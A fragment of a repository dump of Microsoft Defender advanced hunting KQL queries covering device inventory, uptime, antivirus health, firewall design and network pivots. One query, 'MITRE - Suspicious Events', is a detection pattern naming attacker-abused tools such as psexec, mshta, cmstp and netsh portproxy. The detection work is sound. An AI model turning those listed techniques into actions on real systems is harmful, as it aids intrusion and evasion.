    "content": "# Detect Azure RemoteIP\n\nThis query is a function that consumes the publicly available Azure IP address list and checks a list of remote IP addresses against it to see if they are Azure IP addresses or not.\n\nTo use this, replace the demo portion of the query (DeviceNetworkEvents | take 10000) with your query with the column name of the IP address to check named RemoteIP. The function will add a new column to the end called IsAzure denoting if the IP address range is in the published list or not.\n\nPlease note that over time the URL to the Azure IP address list may need to be updated.\n\n## Query\n```\nlet AzureSubnets = toscalar (\n    externaldata (xml:string)\n    [\n        @'https://download.microsoft.com/download/0/1/8/018E208D-54F8-44CD-AA26-CD7BC9524A8C/PublicIPs_20200824.xml'\n    ]\n    with (format=\"txt\")\n    | extend Subnet = tostring(parse_xml(xml).IpRange.['@Subnet'])\n    | where isnotempty(Subnet)\n    | summarize make_set(Subnet)\n);\nlet IsItAzure = (SourceData:(RemoteIP:string)) {\n    SourceData\n    | extend AzureSubnet = AzureSubnets\n    | mv-expand AzureSubnet to typeof(string)\n    | extend IsAzure = ipv4_is_in_range(RemoteIP, AzureSubnet)\n    | summarize IsAzure = max(IsAzure) by RemoteIP\n};\n// BEGIN SAMPLE QUERY //\nDeviceNetworkEvents\n| take 10000\n// END SAMPLE QUERY\n| invoke IsItAzure()\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:** Michael Melone\n**GitHub alias:** mjmelone\n**Organization:** Microsoft\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "General queries/Device Count by DNS Suffix.md",
    "content": "# Device Count by DNS Suffix\n\nThis query will count the number of devices in Defender ATP based\non their DNS suffix.  For a full list of devices with the DNS \nsuffix, comment out or remove the last line.\n\n## Query\n\n```\nDeviceInfo\n| where isnotempty(OSPlatform)\n| summarize arg_max(Timestamp, DeviceName) by DeviceId\n| extend DeviceMachineName = split(DeviceName, '.')[0]\n| extend DeviceDomain = substring(DeviceName, strlen(DeviceMachineName) + 1, strlen(DeviceName) - strlen(DeviceMachineName) - 1)\n| summarize count() by DeviceDomain\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "General queries/Device uptime calculation.md",
    "content": "# Device uptime calculation  \nThis query calculates device uptime based on periodic DeviceInfo which is recorded every 15 minutes regardless of device’s network connectivity and uploaded once device gets online. If its interval is over 16 minutes, we can consider device is turned off.　Calculated uptime may include up to 30 minutes gap. Devices may be turned on up to 15 minutes earlier than the “timestamp”, and may be turned off up to 15 minutes later than the “LastTimestamp”.  When the single independent DeviceInfo without any sequential DeviceInfo within 16 minutes before or after is recorded, “DurationAtLeast” will be displayed as “00.00:00:00”.\n\n## Updates on 6/9/2021\nI modified a previous query in a way of avoiding use of partitions. So now this query works for an environment with over 64 devices without device filters. And I modified this to consider changes of “LoggedOnUsers” in periodic DeviceInfo entries. Please consider to use other filters by using device groups, or timespan as well in a large environment to meet with an upper limit, 10,000 results per query.\n\n## Query\n```\nDeviceInfo \n| order by DeviceId, Timestamp desc\n| extend FinalSignal = (prev(DeviceId,1) != DeviceId) or (prev(LoggedOnUsers,1) != LoggedOnUsers) or (prev(Timestamp,1,now(1d)) - Timestamp > 16m)\n| extend StartSignal = (next(DeviceId,1) != DeviceId) or (next(LoggedOnUsers,1) != LoggedOnUsers) or (Timestamp - next(Timestamp,1,0) > 16m)\n| where FinalSignal or StartSignal\n| extend LastTimestamp=iff(FinalSignal,Timestamp,prev(Timestamp,1))\n| where StartSignal\n| extend ParsedFields=parse_json(LoggedOnUsers)[0]\n| extend DurationAtLeast= format_timespan(LastTimestamp-Timestamp,'dd.hh:mm:ss')\n| project Timestamp,LastTimestamp,DurationAtLeast,DeviceName,DomainName=ParsedFields.DomainName,UserName=ParsedFields.UserName\n```\n## Sample output  \n| Timestamp | LastTimestamp | DurationAtLeast | DeviceName | DomainName | UserName |\n|:---------------:|:---------------:|:-------:|:-------:|:-------:|:-------:|\n| 11/4/2020 0:35:08 | 11/4/2020 0:35:08 | 00.00:00:00 | desktop-pc1 | DESKTOP-PC1 | localuser1 |\n| 10/29/2020 14:04:11 | 10/29/2020 15:49:11 | 00.01:45:00 | desktop-pc1 | DESKTOP-PC1 | localuser1 |\n| 10/29/2020 07:57:47 | 10/29/2020 08:42:47 | 00.00:45:00 | desktop-pc1 | DESKTOP-PC1 | localuser1 |\n| 10/28/2020 12:57:07 | 10/28/2020 16:27:06 | 00.03:29:58 | desktop-pc1 | DESKTOP-PC1 | localuser1 |\n| 10/28/2020 12:11:03 | 10/28/2020 12:41:03 | 00.00:30:00 | desktop-pc1 | DESKTOP-PC1 | localuser1 |\n| 11/2/2020 05:05:28 | 11/2/2020 07:00:13 | 00.01:54:45 | vpc1 | AzureAD | User01 |\n\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence | v |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control | v |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\nContributor: Yoshihiro Ichinose  \nGitHub alias: YoshihiroIchinose  \nOrganization: Microsoft Japan Co., Ltd.  \nContact info: yoshi@microsoft.com  \n"
  },
  {
    "path": "General queries/Endpoint Agent Health Status Report.md",
    "content": "\n# Endpoint Agent Health Status Report\n\nThis query will provide a report of many of the best practice configurations for Defender ATP deployment. Special Thanks to Gilad Mittelman for the initial inspiration and concept.\n\nAny tests which are reporting \"BAD\" as a result imply that the associated capability is not configured per best practice recommendation.\n\n## Query\n\n```\nDeviceTvmSecureConfigurationAssessment\n| where ConfigurationId in ('scid-91', 'scid-2000', 'scid-2001', 'scid-2002', 'scid-2003', 'scid-2010', 'scid-2011', 'scid-2012', 'scid-2013', 'scid-2014', 'scid-2016')\n| extend Test = case(\n    ConfigurationId == \"scid-2000\", \"SensorEnabled\",\n    ConfigurationId == \"scid-2001\", \"SensorDataCollection\",\n    ConfigurationId == \"scid-2002\", \"ImpairedCommunications\",\n    ConfigurationId == \"scid-2003\", \"TamperProtection\",\n    ConfigurationId == \"scid-2010\", \"AntivirusEnabled\",\n    ConfigurationId == \"scid-2011\", \"AntivirusSignatureVersion\",\n    ConfigurationId == \"scid-2012\", \"RealtimeProtection\",\n    ConfigurationId == \"scid-91\", \"BehaviorMonitoring\",\n    ConfigurationId == \"scid-2013\", \"PUAProtection\",\n    ConfigurationId == \"scid-2014\", \"AntivirusReporting\",\n    ConfigurationId == \"scid-2016\", \"CloudProtection\",\n    \"N/A\"),\n    Result = case(IsApplicable == 0, \"N/A\", IsCompliant == 1, \"GOOD\", \"BAD\")\n| extend packed = pack(Test, Result)\n| summarize Tests = make_bag(packed), DeviceName = any(DeviceName) by DeviceId\n| evaluate bag_unpack(Tests)\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration | v |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "General queries/Events surrounding alert.txt",
    "content": "// This query looks for events that are near in time to a detected event.\n// It shows how you could avoid typing exact timestamps, and replace it with a simple query to get the timestamp of your pivot event (e.g. a detected event).\n// This is useful when you have queries that you run often - e.g. as part of your regular investigation of an alert.\n\n// Original query: filter for network logon events right before some timestamp\nlet DeviceId = \"474908f457a1dc4c1fab568f808d5f77bf3bb951\";\nlet timestamp = datetime(2018-06-09T02:23:26.6832917Z);\nlet lookupPeriod = 10m;\nDeviceLogonEvents\n| where Timestamp between ((timestamp - lookupPeriod) .. lookupPeriod)\n        and DeviceId == DeviceId\n        and LogonType == \"Network\"\n\n// Modified query: instead of copy-pasting the timestamp, get the timestamp of some event you can filter - MTP Schema\n// In this example, take the time of the first detected event in an alert.\n// We filter on alertId - which you can get from all our APIs (SIEM, Graph API, PowerBI, DeviceAlertEvents table) or from the UI (the last part of the link to the alert page)\nlet alertId = \"636641078490537577_-1905871543\";\nlet alert = AlertInfo | join AlertEvidence on AlertId | where AlertId == alertId | summarize AlertFirstTimestamp=min(Timestamp) by DeviceId;\nlet DeviceId = toscalar(alert | project DeviceId);\nlet timestamp = toscalar(alert | project AlertFirstTimestamp);\nlet lookupPeriod = 10m;\nDeviceLogonEvents\n| where Timestamp between ((timestamp - lookupPeriod) .. lookupPeriod)\n        and DeviceId == DeviceId\n        and LogonType == \"Network\"\n\n// This query looks for events that are near in time to a detected event.\n// It shows how you could avoid typing exact timestamps, and replace it with a simple query to get the timestamp of your pivot event (e.g. a detected event).\n// This is useful when you have queries that you run often - e.g. as part of your regular investigation of an alert.\n// Original query: filter for network logon events right before some timestamp\nlet DeviceId = \"474908f457a1dc4c1fab568f808d5f77bf3bb951\";\nlet timestamp = datetime(2018-06-09T02:23:26.6832917Z);\nlet lookupPeriod = 10m;\nDeviceLogonEvents\n| where Timestamp between ((timestamp - lookupPeriod) .. lookupPeriod)\n        and DeviceId == DeviceId\n        and LogonType == \"Network\"\n\n// Modified query: instead of copy-pasting the timestamp, get the timestamp of some event you can filter\n// In this example, take the time of the first detected event in an alert.\n// We filter on alertId - which you can get from all our APIs (SIEM, Graph API, PowerBI, DeviceAlertEvents table) or from the UI (the last part of the link to the alert page)\nlet alertId = \"636641078490537577_-1905871543\";\nlet alert = AlertInfo | join AlertEvidence on AlertId | where AlertId == alertId | summarize AlertFirstTimestamp=min(Timestamp) by DeviceId;\nlet DeviceId = toscalar(alert | project DeviceId);\nlet timestamp = toscalar(alert | project AlertFirstTimestamp);\nlet lookupPeriod = 10m;\nDeviceLogonEvents\n| where Timestamp between ((timestamp - lookupPeriod) .. lookupPeriod)\n        and DeviceId == DeviceId\n        and LogonType == \"Network\"\n"
  },
  {
    "path": "General queries/Failed Logon Attempt.txt",
    "content": "// Sample query to detect If there are more then 3 failed logon authentications on high value assets.\n// Update DeviceName to reflect your high value assets.\n// For questions @MiladMSFT on Twitter or milad.aslaner@microsoft.com\nDeviceLogonEvents\n| where DeviceName in (\"DeviceName1\",\"DeviceName2\")\n| where ActionType == \"LogonFailed\"\n| summarize LogonFailures=count() by DeviceName, LogonType, InitiatingProcessCommandLine\n| where LogonFailures > 3\n| project LogonFailures, DeviceName, LogonType, InitiatingProcessCommandLine\n| sort by LogonFailures desc\n"
  },
  {
    "path": "General queries/File footprint.txt",
    "content": "// Query #1 - Find the machines on which this file was seen\n// TODO - set file hash to be a SHA1 hash of your choice...\nlet fileHash = \"e152f7ce2d3a4349ac583580c2caf8f72fac16ba\";\nfind in (DeviceFileEvents, DeviceProcessEvents, DeviceEvents, DeviceRegistryEvents, DeviceNetworkEvents, DeviceImageLoadEvents)\nwhere SHA1 == fileHash or InitiatingProcessSHA1 == fileHash\nproject DeviceName, ActionType, FileName, InitiatingProcessFileName, Timestamp, SHA1, InitiatingProcessSHA1\n| project DeviceName, ActionType, Timestamp, \n          FileName = iff(SHA1 == fileHash, FileName, InitiatingProcessFileName),\n          MatchedSide=iff(SHA1 == fileHash, iff(InitiatingProcessSHA1 == fileHash, \"Both\", \"Child\"), \"Parent\")\n| summarize makeset(ActionType), FirstTimestamp=min(Timestamp), (LastTimestamp, LastActionType)=arg_max(Timestamp, ActionType) by FileName, MatchedSide, DeviceName\n| top 1000 by LastTimestamp desc\n| sort by DeviceName, LastTimestamp desc\n\n// Query # 2 - Shows you a list of distinct IP addresses and DNS names the endpoint had network communication with through a specific file. \n// Use this list to whitelist/blacklist IP addresses or understand if there are communication with IP you are not aware of.\n// Update the filename to the name you wish to investigate network communication.\nlet filename = \"FILENAME GOES HERE\";\n// Builds table for distinct URLs based off filename\nDeviceNetworkEvents \n| where InitiatingProcessFileName =~ filename and ( isnotempty(RemoteIP) or isnotempty(RemoteUrl) )\n| project DNS=RemoteUrl, IP=RemoteIP\n| distinct IP, DNS\n"
  },
  {
    "path": "General queries/Firewall Policy Design Assistant.md",
    "content": "# Firewall Policy Design Assistant\nThis query helps you design client firewall rules based on data stored within DeviceNetworkEvents. Folder paths are alias'ed to help represent the\nfiles making or receiving network connections without dealing with duplication from path variance due to different root drive letter or user profile\nassociation.\n\nTo make the report easy to read, inbound remote IP addresses are not calculated by default (this can be changed by setting the value of IncludeInboundRemoteIPs to true).\nAlso, the ephemeral range is defaulted to 49152 to help eliminate false detections.\n\n## Query\n```\nlet EphemeralRangeStart = 49152;\nlet IncludeInboundRemoteIPs = false;\nlet AliasPath = (SourcePath:(FolderPath:string, FileName:string))\n{\nSourcePath\n    | extend AliasPath = tolower(\n            case(\n                //Modern style profile\n                FolderPath startswith 'c:\\\\users\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',11), strlen(FolderPath) - 11)),\n                //Legacy style profile\n                FolderPath startswith 'c:\\\\documents and settings\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',27), strlen(FolderPath) - 27)),\n                //Windir\n                FolderPath contains @':\\Windows\\', strcat('%windir%', substring(FolderPath, 10)),\n                //ProgramData\n                FolderPath contains @':\\programdata\\', strcat('%programdata%', substring(FolderPath, 14)),\n                // ProgramFiles\n                FolderPath contains @':\\Program Files\\', strcat('%ProgramFiles%', substring(FolderPath, 16)),\n                // Program Files (x86)\n                FolderPath contains @':\\Program Files (x86)\\', strcat('%ProgramFilesx86%', substring(FolderPath, 22)),\n                //Other\n               FolderPath)\n        )\n};\nlet ServerConnections =\n    DeviceNetworkEvents\n    | where ActionType in ('InboundConnectionAccepted','ListeningConnectionCreated')\n        and RemoteIPType != 'Loopback' \n        and LocalIP != RemoteIP \n        and RemoteIP !startswith '169.254' \n        and LocalPort < EphemeralRangeStart\n    | distinct DeviceId, InitiatingProcessFolderPath, LocalPort;\nunion (\n    DeviceNetworkEvents\n    | where ActionType in ('InboundConnectionAccepted','ListeningConnectionCreated','ConnectionSuccess','ConnecitonFound','ConnectionRequest')\n        and RemoteIPType != 'Loopback' \n        and LocalIP != RemoteIP \n        and RemoteIP !startswith '169.254' \n        and LocalPort < EphemeralRangeStart\n    | join kind=leftsemi ServerConnections on DeviceId, InitiatingProcessFolderPath, LocalPort\n    | project-rename FolderPath = InitiatingProcessFolderPath, FileName = InitiatingProcessFileName\n    | invoke AliasPath()\n    | extend Directionality = 'Inbound', Port = LocalPort, RemoteIP = iff(IncludeInboundRemoteIPs == true, RemoteIP,'')\n),(\n    DeviceNetworkEvents\n    | where ActionType in ('ConnectionSuccess','ConnecitonFound','ConnectionRequest') \n        and RemoteIPType != 'Loopback' \n        and LocalIP != RemoteIP \n        and RemoteIP !startswith '169.254' \n        and LocalPort >= EphemeralRangeStart\n    | join kind=leftanti ServerConnections on DeviceId, InitiatingProcessFolderPath, LocalPort\n    | project-rename FolderPath = InitiatingProcessFolderPath, FileName = InitiatingProcessFileName\n    | invoke AliasPath()\n    | extend Directionality = 'Outbound', Port = RemotePort\n)\n| summarize ConnectionCount = count(), DistinctMachines = dcount(DeviceId), Ports = makeset(Port), RemoteIPs = makeset(RemoteIP) by Directionality, AliasPath\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration | v |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet \\ https://melone.co\n"
  },
  {
    "path": "General queries/MD AV Signature and Platform Version.md",
    "content": "# Endpoint AV version report\nThis query will identify the Microsoft Defender Antivirus Engine version and Microsoft Defender Antivirus Security Intelligence version (and timestamp), Product update version (aka Platform Update version) as well as the Microsoft Defender Antivirus Mode on the endpoint (Active, Passive, etc.).\n\n## Query\n```\nlet avmodetable = DeviceTvmSecureConfigurationAssessment\n| where ConfigurationId == \"scid-2010\" and isnotnull(Context)\n| extend avdata=parsejson(Context)\n| extend AVMode = iif(tostring(avdata[0][0]) == '0', 'Active' , iif(tostring(avdata[0][0]) == '1', 'Passive' ,iif(tostring(avdata[0][0]) == '4', 'EDR Blocked' ,'Unknown')))\n| project DeviceId, AVMode;\nDeviceTvmSecureConfigurationAssessment\n| where ConfigurationId == \"scid-2011\" and isnotnull(Context)\n| extend avdata=parsejson(Context)\n| extend AVSigVersion = tostring(avdata[0][0])\n| extend AVEngineVersion = tostring(avdata[0][1])\n| extend AVSigLastUpdateTime = tostring(avdata[0][2])\n| extend AVProductVersion = tostring(avdata[0][3]) \n| project DeviceId, DeviceName, OSPlatform, AVSigVersion, AVEngineVersion, AVSigLastUpdateTime, AVProductVersion, IsCompliant, IsApplicable\n| join avmodetable on DeviceId\n| project-away DeviceId1\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability | v |  |\n| Exploit |  |  |\n| Misconfiguration | v |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:**  António Vasconcelos, Michael Melone, Tali Ash, Juli Hooper\n\n**Contact info:**  julih@microsoft.com \n"
  },
  {
    "path": "General queries/MITRE - Suspicious Events.txt",
    "content": "//Description:\r\n//The query looks for several different MITRE techniques, grouped by risk level. \r\n//A weighting is applied to each risk level and a total score calculated per machine\r\n//Techniques can be added/removed as required\r\n//\r\nlet weights = dynamic({\"Low\":1, \"Medium\":3, \"High\":5}); //Assign weights to the risk levels\r\n//Low risk events\r\nlet lowRiskEvents =\r\n    DeviceProcessEvents \r\n    | where\r\n        (FileName =~ \"powershell.exe\" and ProcessCommandLine has \"-command\") //T1086 PowerShell\r\n        or\r\n        (FileName =~ \"powershell.exe\" and ProcessCommandLine contains \"-nop\") //T1086 PowerShell\r\n        or\r\n        (FileName =~ \"schtasks.exe\" and ProcessCommandLine has \"create\") //T1053 Scheduled Task\r\n        or\r\n        (FileName =~ \"installutil.exe\") //T1118 InstallUtil\r\n        or\r\n        (FileName =~ \"msbuild.exe\") //T1127 Trusted Developer Utilities\r\n        or\r\n        (FileName =~ \"nbtstat.exe\") //T1016 System Network Configuration Discovery\r\n        or\r\n        (FileName == \"mshta.exe\") //T1170 Mshta\r\n        or\r\n        (FileName =~ \"netsh.exe\") //T1089 Disabling Security Tools, T1063 Security Software Discovery\r\n        or\r\n        (FileName == \"net.exe\" and ProcessCommandLine has \" start \") //T1007 System Service Discovery\r\n    | extend Weight = toint((weights[\"Low\"]));\r\n//Medium risk events\r\nlet mediumRiskEvents =\r\n    DeviceProcessEvents \r\n    | where\r\n        (FileName =~ \"regsvcs.exe\") //T1121 Regsvcs/Regasm\r\n        or\r\n        (FileName =~ \"arp.exe\" and ProcessCommandLine has \"-a\") //T1016 System Network Configuration Discovery\r\n        or\r\n        (FileName =~ \"ipconfig.exe\" and ProcessCommandLine has \"all\") //T1016 System Network Configuration Discovery\r\n        or\r\n        (FileName startswith \"psexe\") //T1035 Service Execution\r\n        or\r\n        (FileName == \"net.exe\" and ProcessCommandLine has \" share \") //T1135 Network Share Discovery\r\n        or\r\n        (FileName =~ \"netsh.exe\" and ProcessCommandLine has \"interface show\") //T1016 System Network Configuration Discovery\r\n    | extend Weight = toint((weights[\"Medium\"]));\r\n//Higher risk events\r\nlet highRiskEvents =\r\n    DeviceProcessEvents \r\n    | where\r\n        (FileName =~ \"net.exe\" and ProcessCommandLine has \"config\") //T1016 System Network Configuration Discovery\r\n        or\r\n        (FileName =~ \"net.exe\" and ProcessCommandLine has \"time\") //T1124 System Time Discovery\r\n        or \r\n        (FileName =~ \"w32tm.exe\" and ProcessCommandLine has \"/tz\") //T1124 System Time Discovery\r\n        or\r\n        (FileName == \"cmstp.exe\") //T1191 CMSTP\r\n        or\r\n        (FileName =~ \"netsh.exe\" and (ProcessCommandLine has \"portproxy\" or ProcessCommandLine has \"p\")) //T1090 Connection Proxy\r\n    | extend Weight = toint((weights[\"High\"]));\r\nunion kind=outer lowRiskEvents, mediumRiskEvents, highRiskEvents\r\n| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, Weight\r\n| summarize Start_Time=min(Timestamp), End_Time=max(Timestamp), Weight_Sum=sum(Weight), Processes=makeset(FileName), Commands=makeset(ProcessCommandLine) by DeviceName\r\n| where Weight_Sum > 30\r\n| sort by Weight_Sum desc \r\n"
  },
  {
    "path": "General queries/Machine info from IP address.txt",
    "content": "// The following queries pivot from an IP address assigned to a machine to the relevant machine or logged-on users\n// To read more about it, check out this post: https://techcommunity.microsoft.com/t5/What-s-New/Advanced-hunting-now-includes-network-adapters-information/m-p/224402#M74\n\n// Query #1: get machines that have used a given local IP address at a given time - as configured on their network adapters\nlet pivotTimeParam = datetime(2018-07-15 19:51:00);\nlet ipAddressParam = \"192.168.1.5\";\nDeviceNetworkInfo\n| where Timestamp between ((pivotTimeParam-15m) ..30m) and IPAddresses contains strcat(\"\\\"\", ipAddressParam, \"\\\"\") and NetworkAdapterStatus == \"Up\"\n//// Optional - add filters to make sure machine is part of the relevant network (and not using that IP address as part of another private network).\n//// For example:\n// and ConnectedNetworks contains \"corp.contoso.com\"\n// and IPv4Dhcp == \"10.164.3.12\"\n// and DefaultGateways contains \"\\\"10.164.3.1\\\"\"\n| project DeviceName, Timestamp, IPAddresses, TimeDifference=abs(Timestamp-pivotTimeParam)\n// In case multiple machines have reported from that IP address arround that time, start with the ones reporting closest to pivotTimeParam\n| sort by TimeDifference asc\n\n// Query #2:\n// same as query #1 (get machines that have used a given local IP address at a given time), but also query for the logged on user\nlet pivotTimeParam = datetime(2018-07-15 19:51:00);\nlet ipAddressParam = \"192.168.1.5\";\nlet matchingMachines = \n    DeviceNetworkInfo\n    | where Timestamp between ((pivotTimeParam-15m) ..30m) and IPAddresses contains strcat(\"\\\"\", ipAddressParam, \"\\\"\") and NetworkAdapterStatus == \"Up\"\n    //// Optional - add filters to make sure machine is part of the relevant network (and not using that IP address as part of another private network).\n    //// For example:\n    // and ConnectedNetworks contains \"corp.contoso.com\"\n    // and IPv4Dhcp == \"10.164.3.12\"\n    // and DefaultGateways contains \"\\\"10.164.3.1\\\"\"\n    | project DeviceName, Timestamp, IPAddresses, TimeDifference=abs(Timestamp-pivotTimeParam);\nDeviceInfo\n| where Timestamp between ((pivotTimeParam-15m) ..30m)\n| project DeviceName, Timestamp, LoggedOnUsers \n| join kind=inner (matchingMachines) on DeviceName, Timestamp\n| project Timestamp, DeviceName, LoggedOnUsers, TimeDifference, IPAddresses\n// In case multiple machines have reported from that IP address arround that time, start with the ones reporting closest to pivotTimeParam\n| sort by TimeDifference asc\n\n// Query #3: get machines that have used a given *public* IP address at a given time - as seen in their communications with the WDATP cloud\nlet pivotTimeParam = datetime(2018-07-15 19:51:00);\nlet ipAddressParam = \"192.168.1.5\";\nDeviceInfo\n| where Timestamp between ((pivotTimeParam-15m) .. 30m) and PublicIP == ipAddressParam\n| project DeviceName, LoggedOnUsers, Timestamp, TimeDifference=abs(Timestamp-pivotTimeParam)\n// In case multiple machines have reported from that IP address arround that time, start with the ones reporting closest to pivotTimeParam\n| sort by TimeDifference asc\n\n// Query #4: Get machines that have used a given IP address, looking up on both local and external addresses.\n//           This includes IP addresses seen locally in their network adapters configuration or ones used to access the WDATP cloud.\nlet pivotTimeParam = datetime(2018-07-15 19:51:00);\nlet ipAddressParam = \"192.168.1.5\";\nDeviceNetworkInfo\n| where Timestamp between ((pivotTimeParam-15m) ..30m) and IPAddresses contains strcat(\"\\\"\", ipAddressParam, \"\\\"\") and NetworkAdapterStatus == \"Up\"\n| project DeviceName, Timestamp, Source=\"NetworkAdapterInfo\" \n| union (DeviceInfo | where Timestamp between ((pivotTimeParam-15m) .. 30m) and PublicIP == ipAddressParam | project DeviceName, Timestamp, Source=\"Public IP address\")\n| extend TimeDifference=abs(Timestamp-pivotTimeParam)\n| sort by TimeDifference asc\n"
  },
  {
    "path": "General queries/Network footprint.txt",
    "content": "// Query 1 shows you any network communication happened from endpoints to a specific Remote IP or Remote URL\n// Ensure to update RemoteIP and RemoteURL variable.\n// For questions @MiladMSFT on Twitter or milad.aslaner@microsoft.com by email\nDeviceNetworkEvents\n| where RemoteIP == \"IP ADDRESS GOES HERE\"\nor RemoteUrl endswith \"DNS ENTRY GOES HERE\"\n| project Timestamp, DeviceName, ActionType, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine\n\n// Query 2 shows you any network communication that happened from endpoints through a specific file to an Remote IP or Remote URL\n//Ensure to update RemoteIP, RemoteURL and InitatingProcessFileName\n// For questions @MiladMSFT on Twitter or milad.aslaner@microsoft.com by email\nlet IP = \"IP ADDRESS GOES HERE\";\nlet DNS = \"DNS ENTRY GOES HERE\";\nlet FILENAME = \"FILENAME GOES HERE\";\nDeviceNetworkEvents\n| where (RemoteIP == IP or RemoteUrl endswith DNS) and InitiatingProcessFileName =~ FILENAME\n| project Timestamp, DeviceName, ActionType, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine\n\n// Query 3 allows you to find network communication to an IP or URL in the DeviceNetworkEvents table, as well as in DeviceEvents for other events (SmartScreen, launch browser with URL, more)\n// Ensure to update RemoteIP and RemoteURL variable.\nfind in (DeviceEvents, DeviceNetworkEvents)\nwhere RemoteIP == \"IP ADDRESS GOES HERE\" or RemoteUrl =~ \"URL GOES HERE\"\nproject DeviceName, ActionType, FileName, Timestamp\n\n// Query 4 Search for specific network communication of a Remote IP or URL that also discovers related file creation events\n// Ensure to update RemoteIP and RemoteURL variable.\nDeviceFileEvents\n| where FileOriginUrl == \"IP ADDRESS GOES HERE\" or FileOriginUrl contains \"URL GOES HERE\" or FileOriginReferrerUrl contains \"URL GOES HERE\"\n| project DeviceName, Timestamp, FileName, FileOriginUrl, FileOriginIP, FileOriginReferrerUrl, SHA1\n"
  },
  {
    "path": "General queries/Network info of machine.txt",
    "content": "// Get information about the netwotk adapters of the given computer in the given time.\n// This could include the configured IP addresses, DHCP servers, DNS servers, and more.\nlet DeviceIdParam = \"c0bfefec0bfefec0bfefec0bfefec0bfefecafe\";\nlet pivotTimeParam = datetime(2018-07-15T19:51);\nDeviceNetworkInfo\n// Query for reports sent +-15 minutes around the time we are interested in\n| where Timestamp between ((pivotTimeParam-15m) .. 30m) and DeviceId == DeviceIdParam and NetworkAdapterStatus == \"Up\"\n// IPAddresses contains a list of the IP addresses configured on the network adapter, their subnets, and more.\n// Here we expand the list so that each value gets a separate row. All the other columns in the row, such as MacAddress, are duplicated.\n| mvexpand parse_json(IPAddresses)\n| project IPAddress=IPAddresses.IPAddress, AddressType=IPAddresses.AddressType, NetworkAdapterType, TunnelType, MacAddress, \nConnectedNetworks, Timestamp, TimeDifference=abs(Timestamp-pivotTimeParam)\n// In case multiple machines have reported from that IP address arround that time, start with the ones reporting closest to pivotTimeParam\n| sort by TimeDifference asc, NetworkAdapterType, MacAddress\n"
  },
